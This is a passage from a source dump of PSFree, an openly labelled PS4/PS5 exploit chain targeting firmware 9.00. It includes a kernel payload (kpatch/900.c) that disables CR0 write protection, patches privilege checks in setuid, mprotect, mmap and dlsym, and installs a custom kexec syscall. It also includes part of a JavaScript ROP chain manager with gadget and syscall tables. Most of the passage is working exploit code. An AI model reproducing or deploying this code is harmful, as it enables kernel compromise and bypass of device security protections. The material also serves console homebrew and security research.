by itself. 60 | 61 | 2) Original or Modified Versions of the Font Software may be bundled, 62 | redistributed and/or sold with any software, provided that each copy 63 | contains the above copyright notice and this license. These can be 64 | included either as stand-alone text files, human-readable headers or 65 | in the appropriate machine-readable metadata fields within text or 66 | binary files as long as those fields can be easily viewed by the user. 67 | 68 | 3) No Modified Version of the Font Software may use the Reserved Font 69 | Name(s) unless explicit written permission is granted by the 70 | corresponding Copyright Holder. This restriction only applies to the 71 | primary font name as presented to the users. 72 | 73 | 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font 74 | Software shall not be used to promote, endorse or advertise any 75 | Modified Version, except to acknowledge the contribution(s) of the 76 | Copyright Holder(s) and the Author(s) or with their explicit written 77 | permission. 78 | 79 | 5) The Font Software, modified or unmodified, in part or in whole, must 80 | be distributed entirely under this license, and must not be distributed 81 | under any other license. The requirement for fonts to remain under 82 | this license does not apply to any document created using the Font 83 | Software. 84 | 85 | 86 | 87 | TERMINATION 88 | This license becomes null and void if any of the above conditions are not met. 89 | 90 | 91 | 92 | DISCLAIMER 93 | THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 94 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF 95 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT 96 | OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE 97 | COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 98 | INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL 99 | DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 100 | FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER 101 | DEALINGS IN THE FONT SOFTWARE. 102 | -------------------------------------------------------------------------------- /fonts/LiberationMono-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kmeps4/PSFree/84e8ccc3fb2f10478da76e7955480732b9cf6cdb/fonts/LiberationMono-Regular.ttf -------------------------------------------------------------------------------- /fonts/README.txt: -------------------------------------------------------------------------------- 1 | git: https://github.com/liberationfonts/liberation-fonts.git 2 | 3 | See FONTS.LICENSE for the license. 4 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 18 | 19 | 20 | 21 | PSFree-Lapse Exploit For PS4 9.00 22 | 31 | 37 | 38 | 39 | PSFree: A PS4/PS5 Exploit Chain
40 | Donation (Monero/XMR):
41 | 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
42 | See JavaScript license information for the 43 | source code and license.
44 |

45 |     
46 |     
47 | 
48 | 


--------------------------------------------------------------------------------
/kpatch/900.c:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2024-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // 9.00
 19 | 
 20 | #include 
 21 | 
 22 | #include "types.h"
 23 | #include "utils.h"
 24 | 
 25 | struct kexec_args {
 26 |     u64 entry;
 27 |     u64 arg1;
 28 |     u64 arg2;
 29 |     u64 arg3;
 30 |     u64 arg4;
 31 |     u64 arg5;
 32 | };
 33 | 
 34 | void do_patch(void);
 35 | void restore(struct kexec_args *uap);
 36 | 
 37 | __attribute__((section (".text.start")))
 38 | int kpatch(void *td, struct kexec_args *uap) {
 39 |     do_patch();
 40 |     restore(uap);
 41 |     return 0;
 42 | }
 43 | 
 44 | void restore(struct kexec_args *uap) {
 45 |     u8 *pipe = uap->arg1;
 46 |     u8 *pipebuf = uap->arg2;
 47 |     for (size_t i = 0; i < 0x18; i++) {
 48 |         pipe[i] = pipebuf[i];
 49 |     }
 50 |     u64 *pktinfo_field = uap->arg3;
 51 |     *pktinfo_field = 0;
 52 |     u64 *pktinfo_field2 = uap->arg4;
 53 |     *pktinfo_field2 = 0;
 54 | }
 55 | 
 56 | void do_patch(void) {
 57 |     // offset to fast_syscall()
 58 |     const size_t off_fast_syscall = 0x1c0;
 59 |     void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
 60 | 
 61 |     disable_cr0_wp();
 62 | 
 63 |     // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
 64 | 
 65 |     // Initial patches
 66 |     write16(kbase, 0x626874, 0x9090); // veriPatch
 67 |     write8(kbase, 0xacd, 0xeb); // bcopy
 68 |     write8(kbase, 0x2713fd, 0xeb); // bzero
 69 |     write8(kbase, 0x271441, 0xeb); // pagezero
 70 |     write8(kbase, 0x2714bd, 0xeb); // memcpy
 71 |     write8(kbase, 0x271501, 0xeb); // pagecopy
 72 |     write8(kbase, 0x2716ad, 0xeb); // copyin
 73 |     write8(kbase, 0x271b5d, 0xeb); // copyinstr
 74 |     write8(kbase, 0x271c2d, 0xeb); // copystr
 75 | 
 76 |     // patch amd64_syscall() to allow calling syscalls everywhere
 77 |     // struct syscall_args sa; // initialized already
 78 |     // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
 79 |     // int is_invalid_syscall = 0
 80 |     //
 81 |     // // check the calling code if it looks like one of the syscall stubs at a
 82 |     // // libkernel library and check if the syscall number correponds to the
 83 |     // // proper stub
 84 |     // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
 85 |     //     || sa.code != (u32)(code >> 0x10)
 86 |     // ) {
 87 |     //     // patch this to " = 0" instead
 88 |     //     is_invalid_syscall = -1;
 89 |     // }
 90 |     write32(kbase, 0x490, 0);
 91 |     // these code corresponds to the check that ensures that the caller's
 92 |     // instruction pointer is inside the libkernel library's memory range
 93 |     //
 94 |     // // patch the check to always go to the "goto do_syscall;" line
 95 |     // void *code = td->td_frame->tf_rip;
 96 |     // if (libkernel->start <= code && code < libkernel->end
 97 |     //     && is_invalid_syscall == 0
 98 |     // ) {
 99 |     //     goto do_syscall;
100 |     // }
101 |     //
102 |     // do_syscall:
103 |     //     ...
104 |     //     lea     rsi, [rbp - 0x78]
105 |     //     mov     rdi, rbx
106 |     //     mov     rax, qword [rbp - 0x80]
107 |     //     call    qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
108 |     //
109 |     // sy_call() is the function that will execute the requested syscall.
110 |     write8(kbase, 0x4c2, 0xeb);
111 |     write16(kbase, 0x4b9, 0x9090);
112 |     write16(kbase, 0x4b5, 0x9090);
113 | 
114 |     // patch sys_setuid() to allow freely changing the effective user ID
115 |     // ; PRIV_CRED_SETUID = 50
116 |     // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
117 |     // test eax, eax
118 |     // je ... ; patch je to jmp
119 |     write8(kbase, 0x1a06, 0xeb);
120 | 
121 |     // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
122 |     //
123 |     // this check is skipped after the patch
124 |     //
125 |     // if ((new_prot & current->max_protection) != new_prot) {
126 |     //     vm_map_unlock(map);
127 |     //     return (KERN_PROTECTION_FAILURE);
128 |     // }
129 |     write32(kbase, 0x80b8d, 0);
130 | 
131 |     // TODO: Description of this patch. "prx"
132 |     write16(kbase, 0x23aec4, 0xe990);
133 | 
134 |     // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
135 |     // call    ...
136 |     // mov     r14, qword [rbp - 0xad0]
137 |     // cmp     eax, 0x4000000
138 |     // jb      ... ; patch jb to jmp
139 |     write8(kbase, 0x23b67f, 0xeb);
140 |     // patch called function to always return 0
141 |     //
142 |     // sys_dynlib_dlsym:
143 |     //     ...
144 |     //     mov     edi, 0x10 ; 16
145 |     //     call    patched_function ; kernel_base + 0x951c0
146 |     //     test    eax, eax
147 |     //     je      ...
148 |     //     mov     rax, qword [rbp - 0xad8]
149 |     //     ...
150 |     // patched_function: ; patch to "xor eax, eax; ret"
151 |     //     push    rbp
152 |     //     mov     rbp, rsp
153 |     //     ...
154 |     write32(kbase, 0x221b40, 0xc3c03148);
155 | 
156 |     // patch sys_mmap() to allow rwx mappings
157 |     // patch maximum cpu mem protection: 0x33 -> 0x37
158 |     // the ps4 added custom protections for their gpu memory accesses
159 |     // GPU X: 0x8 R: 0x10 W: 0x20
160 |     // that's why you see other bits set
161 |     // ref: https://cturt.github.io/ps4-2.html
162 |     write8(kbase, 0x16632a, 0x37);
163 |     write8(kbase, 0x16632d, 0x37);
164 | 
165 |     // overwrite the entry of syscall 11 (unimplemented) in sysent
166 |     //
167 |     // struct args {
168 |     //     u64 rdi;
169 |     //     u64 rsi;
170 |     //     u64 rdx;
171 |     //     u64 rcx;
172 |     //     u64 r8;
173 |     //     u64 r9;
174 |     // };
175 |     //
176 |     // int sys_kexec(struct thread td, struct args *uap) {
177 |     //     asm("jmp qword ptr [rsi]");
178 |     // }
179 |     // .sy_narg = 2
180 |     write32(kbase, 0x1100520, 2);
181 |     // .sy_call = gadgets['jmp qword ptr [rsi]']
182 |     write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
183 |     // .sy_thrcnt = SY_THR_STATIC
184 |     write32(kbase, 0x1100520 + 0x2c, 1);
185 | 
186 |     enable_cr0_wp();
187 | }
188 | 


--------------------------------------------------------------------------------
/kpatch/900.d:
--------------------------------------------------------------------------------
1 | 900.o 900.d : 900.c types.h utils.h
2 | 


--------------------------------------------------------------------------------
/kpatch/900.elf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kmeps4/PSFree/84e8ccc3fb2f10478da76e7955480732b9cf6cdb/kpatch/900.elf


--------------------------------------------------------------------------------
/kpatch/900.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kmeps4/PSFree/84e8ccc3fb2f10478da76e7955480732b9cf6cdb/kpatch/900.o


--------------------------------------------------------------------------------
/kpatch/Makefile:
--------------------------------------------------------------------------------
 1 | TARGET = 900
 2 | ENTRY = 0x900000000
 3 | src = $(TARGET).c
 4 | 
 5 | CC = gcc
 6 | CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
 7 | CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
 8 | CFLAGS += -fwrapv-pointer -std=gnu11
 9 | 
10 | .PHONY: all
11 | all: $(TARGET).elf
12 | 
13 | $(TARGET).elf: $(TARGET).o
14 | 	$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
15 | 
16 | .PHONY: clean
17 | clean:
18 | 	-rm -f *.d *.o *.elf
19 | 
20 | %.d: %.c
21 | 	@set -e; \
22 | 	rm -f $@; \
23 | 	$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
24 | 	sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
25 | 	rm -f $@.$$$$;
26 | 
27 | include $(src:.c=.d)
28 | 


--------------------------------------------------------------------------------
/kpatch/script.ld:
--------------------------------------------------------------------------------
1 | SECTIONS
2 | {
3 |   .text : { *(.text.start) *(.text) }
4 |   .rodata : { *(.rodata) }
5 |   .data : { *(.data) }
6 |   .bss : { *(.bss) }
7 |   /DISCARD/ : { *(.comment* .note*) }
8 | }
9 | 


--------------------------------------------------------------------------------
/kpatch/types.h:
--------------------------------------------------------------------------------
 1 | /* Copyright (C) 2024 anonymous
 2 | 
 3 | This file is part of PSFree.
 4 | 
 5 | PSFree is free software: you can redistribute it and/or modify
 6 | it under the terms of the GNU Affero General Public License as
 7 | published by the Free Software Foundation, either version 3 of the
 8 | License, or (at your option) any later version.
 9 | 
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13 | GNU Affero General Public License for more details.
14 | 
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program.  If not, see .  */
17 | 
18 | #pragma once
19 | 
20 | typedef unsigned char u8;
21 | typedef unsigned short u16;
22 | typedef unsigned int u32;
23 | typedef unsigned long long u64;
24 | 
25 | typedef signed char s8;
26 | typedef signed short s16;
27 | typedef signed int s32;
28 | typedef signed long long s64;
29 | 


--------------------------------------------------------------------------------
/kpatch/utils.h:
--------------------------------------------------------------------------------
 1 | /* Copyright (C) 2024 anonymous
 2 | 
 3 | This file is part of PSFree.
 4 | 
 5 | PSFree is free software: you can redistribute it and/or modify
 6 | it under the terms of the GNU Affero General Public License as
 7 | published by the Free Software Foundation, either version 3 of the
 8 | License, or (at your option) any later version.
 9 | 
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13 | GNU Affero General Public License for more details.
14 | 
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program.  If not, see .  */
17 | 
18 | #pragma once
19 | 
20 | #include 
21 | 
22 | #include "types.h"
23 | 
24 | inline u64 rdmsr(u32 msr) {
25 |     u32 low, high;
26 | 
27 |     asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
28 |     return (low | ((u64)high << 32));
29 | }
30 | 
31 | inline void enable_cr0_wp(void) {
32 |     asm(
33 |         "mov rax, cr0\n"
34 |         "or rax, 0x10000\n"
35 |         "mov cr0, rax\n"
36 |     ::: "rax");
37 | }
38 | 
39 | inline void disable_cr0_wp(void) {
40 |     asm(
41 |         "mov rax, cr0\n"
42 |         "and rax, ~0x10000\n"
43 |         "mov cr0, rax\n"
44 |     ::: "rax");
45 | }
46 | 
47 | inline void write8(void *addr, size_t offset, u8 value) {
48 |     *(u8 *)(addr + offset) = value;
49 | }
50 | 
51 | inline void write16(void *addr, size_t offset, u16 value) {
52 |     *(u16 *)(addr + offset) = value;
53 | }
54 | 
55 | inline void write32(void *addr, size_t offset, u32 value) {
56 |     *(u32 *)(addr + offset) = value;
57 | }
58 | 
59 | inline void write64(void *addr, size_t offset, u64 value) {
60 |     *(u64 *)(addr + offset) = value;
61 | }
62 | 


--------------------------------------------------------------------------------
/module/chain.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | import { Int, lohi_from_one } from './int64.mjs';
 19 | import { get_view_vector } from './memtools.mjs';
 20 | import { Addr } from './mem.mjs';
 21 | import * as config from '../config.mjs';
 22 | 
 23 | // put the sycall names that you want to use here
 24 | export const syscall_map = new Map(Object.entries({
 25 |     'read' : 3,
 26 |     'write' : 4,
 27 |     'open' : 5,
 28 |     'close' : 6,
 29 |     'getpid' : 20,
 30 |     'setuid' : 23,
 31 |     'getuid' : 24,
 32 |     'accept' : 30,
 33 |     'pipe' : 42,
 34 |     'ioctl' : 54,
 35 |     'munmap' : 73,
 36 |     'mprotect' : 74,
 37 |     'fcntl' : 92,
 38 |     'socket' : 97,
 39 |     'connect' : 98,
 40 |     'bind' : 104,
 41 |     'setsockopt' : 105,
 42 |     'listen' : 106,
 43 |     'getsockopt' : 118,
 44 |     'fchmod' : 124,
 45 |     'socketpair' : 135,
 46 |     'fstat' : 189,
 47 |     'getdirentries' : 196,
 48 |     '__sysctl' : 202,
 49 |     'mlock' : 203,
 50 |     'clock_gettime' : 232,
 51 |     'nanosleep' : 240,
 52 |     'sched_yield' : 331,
 53 |     'kqueue' : 362,
 54 |     'kevent' : 363,
 55 |     'rtprio_thread' : 466,
 56 |     'mmap' : 477,
 57 |     'ftruncate' : 480,
 58 |     'shm_open' : 482,
 59 |     'cpuset_getaffinity' : 487,
 60 |     'cpuset_setaffinity' : 488,
 61 |     'jitshm_create' : 533,
 62 |     'jitshm_alias' : 534,
 63 |     'evf_create' : 538,
 64 |     'evf_delete' : 539,
 65 |     'evf_set' : 544,
 66 |     'evf_clear' : 545,
 67 |     'set_vm_container' : 559,
 68 |     'dmem_container' : 586,
 69 |     'dynlib_dlsym' : 591,
 70 |     'dynlib_get_list' : 592,
 71 |     'dynlib_get_info' : 593,
 72 |     'dynlib_load_prx' : 594,
 73 |     'randomized_path' : 602,
 74 |     'budget_get_ptype' : 610,
 75 |     'thr_suspend_ucontext' : 632,
 76 |     'thr_resume_ucontext' : 633,
 77 |     'blockpool_open' : 653,
 78 |     'blockpool_map' : 654,
 79 |     'blockpool_unmap' : 655,
 80 |     'blockpool_batch' : 657,
 81 |     // syscall 661 is unimplemented so free for use. a kernel exploit will
 82 |     // install "kexec" here
 83 |     'aio_submit' : 661,
 84 |     'kexec' : 661,
 85 |     'aio_multi_delete' : 662,
 86 |     'aio_multi_wait' : 663,
 87 |     'aio_multi_poll' : 664,
 88 |     'aio_multi_cancel' : 666,
 89 |     'aio_submit_cmd' : 669,
 90 |     'blockpool_move' : 673,
 91 | }));
 92 | 
 93 | const argument_pops = [
 94 |     'pop rdi; ret',
 95 |     'pop rsi; ret',
 96 |     'pop rdx; ret',
 97 |     'pop rcx; ret',
 98 |     'pop r8; ret',
 99 |     'pop r9; ret',
100 | ];
101 | 
102 | // implementations are expected to have these gadgets:
103 | // * libSceLibcInternal:
104 | //   * __errno - FreeBSD's function to get the location of errno
105 | //   * setcontext - what we call Sony's own version of _Ux86_64_setcontext
106 | //   * getcontext - what we call Sony's own version of _Ux86_64_getcontext
107 | // * anywhere:
108 | //   * the gadgets at argument_pops
109 | //   * ret
110 | //
111 | // setcontext/getcontext naming came from this project:
112 | // https://github.com/libunwind/libunwind
113 | //
114 | // setcontext(context *ctx):
115 | //     mov     rax, qword [rdi + 0x38]
116 | //     sub     rax, 0x10 ; 16
117 | //     mov     qword [rdi + 0x38], rax
118 | //     mov     rbx, qword [rdi + 0x20]
119 | //     mov     qword [rax], rbx
120 | //     mov     rbx, qword [rdi + 0x80]
121 | //     mov     qword [rax + 8], rbx
122 | //     mov     rax, qword [rdi]
123 | //     mov     rbx, qword [rdi + 8]
124 | //     mov     rcx, qword [rdi + 0x10]
125 | //     mov     rdx, qword [rdi + 0x18]
126 | //     mov     rsi, qword [rdi + 0x28]
127 | //     mov     rbp, qword [rdi + 0x30]
128 | //     mov     r8, qword [rdi + 0x40]
129 | //     mov     r9, qword [rdi + 0x48]
130 | //     mov     r10, qword [rdi + 0x50]
131 | //     mov     r11, qword [rdi + 0x58]
132 | //     mov     r12, qword [rdi + 0x60]
133 | //     mov     r13, qword [rdi + 0x68]
134 | //     mov     r14, qword [rdi + 0x70]
135 | //     mov     r15, qword [rdi + 0x78]
136 | //     cmp     qword [rdi + 0xb0], 0x20001
137 | //     jne     done
138 | //     cmp     qword [rdi + 0xb8], 0x10002
139 | //     jne     done
140 | //     fxrstor [rdi + 0xc0]
141 | // done:
142 | //     mov     rsp, qword [rdi + 0x38]
143 | //     pop     rdi
144 | //     ret
145 | //
146 | //  getcontext(context *ctx):
147 | //     mov     qword [rdi], rax
148 | //     mov     qword [rdi + 8], rbx
149 | //     mov     qword [rdi + 0x10], rcx
150 | //     mov     qword [rdi + 0x18], rdx
151 | //     mov     qword [rdi + 0x20], rdi
152 | //     mov     qword [rdi + 0x28], rsi
153 | //     mov     qword [rdi + 0x30], rbp
154 | //     mov     qword [rdi + 0x38], rsp
155 | //     add     qword [rdi + 0x38], 8
156 | //     mov     qword [rdi + 0x40], r8
157 | //     mov     qword [rdi + 0x48], r9
158 | //     mov     qword [rdi + 0x50], r10
159 | //     mov     qword [rdi + 0x58], r11
160 | //     mov     qword [rdi + 0x60], r12
161 | //     mov     qword [rdi + 0x68], r13
162 | //     mov     qword [rdi + 0x70], r14
163 | //     mov     qword [rdi + 0x78], r15
164 | //     mov     rsi, qword [rsp]
165 | //     mov     qword [rdi + 0x80], rsi
166 | //     fxsave  [rdi + 0xc0]
167 | //     mov     qword [rdi + 0xb0], 0x20001
168 | //     mov     qword [rdi + 0xb8], 0x10002
169 | //     xor     eax, eax
170 | //     ret
171 | 
172 | // ROP chain manager base class
173 | //
174 | // Args:
175 | //   stack_size: the size of the stack
176 | //   upper_pad: the amount of extra space above stack
177 | export class ChainBase {
178 |     constructor(stack_size=0x1000, upper_pad=0x10000) {
179 |         this._is_dirty = false;
180 |         this.position = 0;
181 | 
182 |         const return_value = new Uint32Array(4);
183 |         this._return_value = return_value;
184 |         this.retval_addr = get_view_vector(return_value);
185 | 
186 |         const errno = new Uint32Array(1);
187 |         this._errno = errno;
188 |         this.errno_addr = get_view_vector(errno);
189 | 
190 |         const full_stack_size = upper_pad + stack_size;
191 |         const stack_buffer = new ArrayBuffer(full_stack_size);
192 |         const stack = new DataView(stack_buffer, upper_pad);
193 |         this.stack = stack;
194 |         this.stack_addr = get_view_vector(stack);
195 |         this.stack_size = stack_size;
196 |         this.full_stack_size = full_stack_size;
197 |     }
198 | 
199 |     // use this if you want to write a new ROP chain but don't want to allocate
200 |     // a new instance
201 |     empty() {
202 |         this.position = 0;
203 |     }
204 | 
205 |     // flag indicating whether .run() was ever called with this chain
206 |     get is_dirty() {
207 |         return this._is_dirty;
208 |     }
209 | 
210 |     clean() {
211 |         this._is_dirty = false;
212 |     }
213 | 
214 |     dirty() {
215 |         this._is_dirty = true;
216 |     }
217 | 
218 |     check_allow_run() {
219 |         if (this.position === 0) {
220 |             throw Error('chain is empty');
221 |         }
222 |         if (this.is_dirty) {
223 |             throw Error('chain already ran, clean it first');
224 |         }
225 |     }
226 | 
227 |     reset() {
228 |         this.empty();
229 |         this.clean();
230 |     }
231 | 
232 |     get retval_int() {
233 |         return this._return_value[0] | 0;
234 |     }
235 | 
236 |     get retval() {
237 |         return new Int(this._return_value[0], this._return_value[1]);
238 |     }
239 | 
240 |     // return value as a pointer
241 |     get retval_ptr() {
242 |         return new Addr(this._return_value[0], this._return_value[1]);
243 |     }
244 | 
245 |     set retval(value) {
246 |         const values = lohi_from_one(value);
247 |         const retval = this._return_value;
248 |         retval[0] = values[0];
249 |         retval[1] = values[1];
250 |     }
251 | 
252 |     get retval_all() {
253 |         const retval = this._return_value;
254 |         return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
255 |     }
256 | 
257 |     set retval_all(values) {
258 |         const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
259 |         const retval = this._return_value;
260 |         retval[0] = a[0];
261 |         retval[1] = a[1];
262 |         retval[2] = b[0];
263 |         retval[3] = b[1];
264 |     }
265 | 
266 |     get errno() {
267 |         return this._errno[0];
268 |     }
269 | 
270 |     set errno(value) {
271 |         this._errno[0] = value;
272 |     }
273 | 
274 |     push_value(value) {
275 |         const position = this.position;
276 |         if (position >= this.stack_size) {
277 |             throw Error(`no more space on the stack, pushed value: ${value}`);
278 |         }
279 | 
280 |         const values = lohi_from_one(value);
281 |         const stack = this.stack;
282 |         stack.setUint32(position, values[0], true);
283 |         stack.setUint32(position + 4, values[1], true);
284 | 
285 |         this.position += 8;
286 |     }
287 | 
288 |     get_gadget(insn_str) {
289 |         const addr = this.gadgets.get(insn_str);
290 |         if (addr === undefined) {
291 |             throw Error(`gadget not found: ${insn_str}`);
292 |         }
293 | 
294 |         return addr;
295 |     }
296 | 
297 |     push_gadget(insn_str) {
298 |         this.push_value(this.get_gadget(insn_str));
299 |     }
300 | 
301 |     push_call(func_addr, ...args) {
302 |         if (args.length > 6) {
303 |             throw TypeError(
304 |                 'push_call() does not support functions that have more than 6'
305 |                 + ' arguments');
306 |         }
307 | 
308 |         for (let i = 0; i < args.length; i++) {
309 |             this.push_gadget(argument_pops[i]);
310 |             this.push_value(args[i]);
311 |         }
312 | 
313 |         // The address of our buffer seems to be always aligned to 8 bytes.
314 |         // SysV calling convention requires the stack is aligned to 16 bytes on
315 |         // function entry, so push an additional 8 bytes to pad the stack. We
316 |         // pushed a "ret" gadget for a noop.
317 |         if ((this.position & (0x10 - 1)) !== 0) {
318 |             this.push_gadget('ret');
319 |         }
320 | 
321 |         if (typeof func_addr === 'string') {
322 |             this.push_gadget(func_addr);
323 |         } else {
324 |             this.push_value(func_addr);
325 |         }
326 |     }
327 | 
328 |     push_syscall(syscall_name, ...args) {
329 |         if (typeof syscall_name !== 'string') {
330 |             throw TypeError(`syscall_name not a string: ${syscall_name}`);
331 |         }
332 | 
333 |         const sysno = syscall_map.get(syscall_name);
334 |         if (sysno === undefined) {
335 |             throw Error(`syscall_name not found: ${syscall_name}`);
336 |         }
337 | 
338 |         const syscall_addr = this.syscall_array[sysno];
339 |         if (syscall_addr === undefined) {
340 |             throw Error(`syscall number not in syscall_array: ${sysno}`);
341 |         }
342 | 
343 |         this.push_call(syscall_addr, ...args);
344 |     }
345 | 
346 |     // Sets needed class properties
347 |     //
348 |     // Args:
349 |     //   gadgets:
350 |     //     A Map-like object mapping instruction strings (e.g. "pop rax; ret")
351 |     //     to their addresses in memory.
352 |     //   syscall_array:
353 |     //     An array whose indices correspond to syscall numbers. Maps syscall
354 |     //     numbers to their addresses in memory. Defaults to an empty Array.
355 |     static init_class(gadgets, syscall_array=[]) {
356 |         this.prototype.gadgets = gadgets;
357 |         this.prototype.syscall_array = syscall_array;
358 |     }
359 | 
360 |     // START: implementation-dependent parts
361 |     //
362 |     // the user doesn't need to implement all of these. just the ones they need
363 | 
364 |     // Firmware specific method to launch a ROP chain
365 |     //
366 |     // Proper implementations will check if .position is nonzero before
367 |     // running. Implementations can optionally check .is_dirty to enforce
368 |     // single-run gadget sequences
369 |     run() {
370 |         throw Error('not implemented');
371 |     }
372 | 
373 |     // anything you need to do before the ROP chain jumps back to JavaScript
374 |     push_end() {
375 |         throw Error('not implemented');
376 |     }
377 | 
378 |     push_get_errno() {
379 |         throw Error('not implemented');
380 |     }
381 | 
382 |     push_clear_errno() {
383 |         throw Error('not implemented'); 
384 |     }
385 | 
386 |     // get the rax register
387 |     push_get_retval() {
388 |         throw Error('not implemented');
389 |     }
390 | 
391 |     // get the rax and rdx registers
392 |     push_get_retval_all() {
393 |         throw Error('not implemented');
394 |     }
395 | 
396 |     // END: implementation-dependent parts
397 | 
398 |     // note that later firmwares (starting around > 5.00?), the browser doesn't
399 |     // have a JIT compiler. we programmed in a way that tries to make the
400 |     // resulting bytecode be optimal
401 |     //
402 |     // we intentionally have an incomplete set (there's no function to get a
403 |     // full 128-bit result). we only implemented what we think are the common
404 |     // cases. the user will have to implement those other functions if they
405 |     // need it
406 | 
407 |     do_call(...args) {
408 |         if (this.position) {
409 |             throw Error('chain not empty');
410 |         }
411 |         try {
412 |             this.push_call(...args);
413 |             this.push_get_retval();
414 |             this.push_get_errno();
415 |             this.push_end();
416 |             this.run();
417 |         } finally {
418 |             this.reset();
419 |         }
420 |     }
421 | 
422 |     call_void(...args) {
423 |         this.do_call(...args);
424 |     }
425 | 
426 |     call_int(...args) {
427 |         this.do_call(...args);
428 |         // x | 0 will always be a signed integer
429 |         return this._return_value[0] | 0;
430 |     }
431 | 
432 |     call(...args) {
433 |         this.do_call(...args);
434 |         const retval = this._return_value;
435 |         return new Int(retval[0], retval[1]);
436 |     }
437 | 
438 |     do_syscall(...args) {
439 |         if (this.position) {
440 |             throw Error('chain not empty');
441 |         }
442 |         try {
443 |             this.push_syscall(...args);
444 |             this.push_get_retval();
445 |             this.push_get_errno();
446 |             this.push_end();
447 |             this.run();
448 |         } finally {
449 |             this.reset();
450 |         }
451 |     }
452 | 
453 |     syscall_void(...args) {
454 |         this.do_syscall(...args);
455 |     }
456 | 
457 |     syscall_int(...args) {
458 |         this.do_syscall(...args);
459 |         // x | 0 will always be a signed integer
460 |         return this._return_value[0] | 0;
461 |     }
462 | 
463 |     syscall(...args) {
464 |         this.do_syscall(...args);
465 |         const retval = this._return_value;
466 |         return new Int(retval[0], retval[1]);
467 |     }
468 | 
469 |     syscall_ptr(...args) {
470 |         this.do_syscall(...args);
471 |         const retval = this._return_value;
472 |         return new Addr(retval[0], retval[1]);
473 |     }
474 | 
475 |     // syscall variants that throw an error on errno
476 | 
477 |     do_syscall_clear_errno(...args) {
478 |         if (this.position) {
479 |             throw Error('chain not empty');
480 |         }
481 |         try {
482 |             this.push_clear_errno();
483 |             this.push_syscall(...args);
484 |             this.push_get_retval();
485 |             this.push_get_errno();
486 |             this.push_end();
487 |             this.run();
488 |         } finally {
489 |             this.reset();
490 |         }
491 |     }
492 | 
493 |     sysi(...args) {
494 |         const errno = this._errno;
495 |         this.do_syscall_clear_errno(...args);
496 | 
497 |         const err = errno[0];
498 |         if (err !== 0) {
499 |             throw Error(`syscall(${args[0]}) errno: ${err}`);
500 |         }
501 | 
502 |         // x | 0 will always be a signed integer
503 |         return this._return_value[0] | 0;
504 |     }
505 | 
506 |     sys(...args) {
507 |         const errno = this._errno;
508 |         this.do_syscall_clear_errno(...args);
509 | 
510 |         const err = errno[0];
